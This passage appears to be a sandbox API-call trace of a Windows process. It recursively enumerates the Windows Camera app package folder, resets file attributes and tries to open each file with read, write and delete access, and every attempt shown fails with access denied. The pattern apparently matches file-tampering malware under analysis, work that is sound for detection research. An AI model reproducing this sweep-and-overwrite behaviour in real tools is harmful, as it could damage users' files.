	[0090.364] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee763a10, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.364] wcscmp (_String1="..", _String2=".") returned 1
	[0090.364] wcscmp (_String1="..", _String2="..") returned 0
	[0090.364] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee763a10, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.364] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0090.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716d10) returned 1
	[0090.364] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xee763a10, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xee763a10, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee763a10, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.364] FindClose (in: hFindFile=0x46a8098 | out: hFindFile=0x46a8098) returned 1
	[0090.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502a2c8) returned 1
	[0090.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719050) returned 1
	[0090.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9290) returned 1

Thread:
	id = 1030
	os_tid = 0x1c88

	[0082.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4773550
	[0082.638] wcscpy (in: _Dest=0x4773550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0082.638] wcscat (in: _Dest=0x4773550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0082.638] wcscat (in: _Dest=0x4773550, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\*"
	[0082.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aa00
	[0082.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\*", lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924af4b0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a80d8
	[0082.640] wcscmp (_String1=".", _String2=".") returned 0
	[0082.640] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924af4b0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.640] wcscmp (_String1="..", _String2=".") returned 1
	[0082.640] wcscmp (_String1="..", _String2="..") returned 0
	[0082.640] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924af4b0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924af4b0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924af4b0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xdce, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.640] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.640] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4766710
	[0082.640] wcscpy (in: _Dest=0x4766710, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0082.640] wcscat (in: _Dest=0x4766710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0082.640] wcscat (in: _Dest=0x4766710, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.301] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.301] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.302] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.302] GetLastError () returned 0x5
	[0090.302] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766710) returned 1
	[0090.302] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924af4b0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924af4b0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924af4b0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.302] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.302] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776e60
	[0090.302] wcscpy (in: _Dest=0x4776e60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.302] wcscat (in: _Dest=0x4776e60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.302] wcscat (in: _Dest=0x4776e60, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.302] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.302] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.302] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.302] GetLastError () returned 0x5
	[0090.302] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776e60) returned 1
	[0090.302] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924af4b0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924d5709, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.303] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.303] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776b60
	[0090.303] wcscpy (in: _Dest=0x4776b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.303] wcscat (in: _Dest=0x4776b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.303] wcscat (in: _Dest=0x4776b60, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.303] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.304] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.304] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.304] GetLastError () returned 0x5
	[0090.304] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0090.305] FindNextFileW (in: hFindFile=0x46a80d8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb184beda, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.305] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.305] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4fcec30
	[0090.305] wcscpy (in: _Dest=0x4fcec30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe"
	[0090.305] wcscat (in: _Dest=0x4fcec30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\"
	[0090.305] wcscat (in: _Dest=0x4fcec30, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e708
	[0090.305] wcscpy (in: _Dest=0x491e708, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.305] wcscat (in: _Dest=0x491e708, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.305] wcscat (in: _Dest=0x491e708, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\*"
	[0090.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb184beda, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0090.305] wcscmp (_String1=".", _String2=".") returned 0
	[0090.305] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb184beda, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.305] wcscmp (_String1="..", _String2=".") returned 1
	[0090.305] wcscmp (_String1="..", _String2="..") returned 0
	[0090.305] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb18b5b34, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsIcons", cAlternateFileName="WINDOW~1")) returned 1
	[0090.305] wcscmp (_String1="WindowsIcons", _String2=".") returned 1
	[0090.305] wcscmp (_String1="WindowsIcons", _String2="..") returned 1
	[0090.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5027f00
	[0090.305] wcscpy (in: _Dest=0x5027f00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.305] wcscat (in: _Dest=0x5027f00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.305] wcscat (in: _Dest=0x5027f00, _Source="WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5028008
	[0090.306] wcscpy (in: _Dest=0x5028008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.306] wcscat (in: _Dest=0x5028008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.306] wcscat (in: _Dest=0x5028008, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\*"
	[0090.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0090.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb18b5b34, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a968
	[0090.308] wcscmp (_String1=".", _String2=".") returned 0
	[0090.308] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb18b5b34, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x925289b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.309] wcscmp (_String1="..", _String2=".") returned 1
	[0090.309] wcscmp (_String1="..", _String2="..") returned 0
	[0090.309] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924d5709, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.309] wcscmp (_String1="WindowsCameraAppList.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.309] wcscmp (_String1="WindowsCameraAppList.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e34038
	[0090.309] wcscpy (in: _Dest=0x2e34038, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.309] wcscat (in: _Dest=0x2e34038, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.309] wcscat (in: _Dest=0x2e34038, _Source="WindowsCameraAppList.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-125.png"
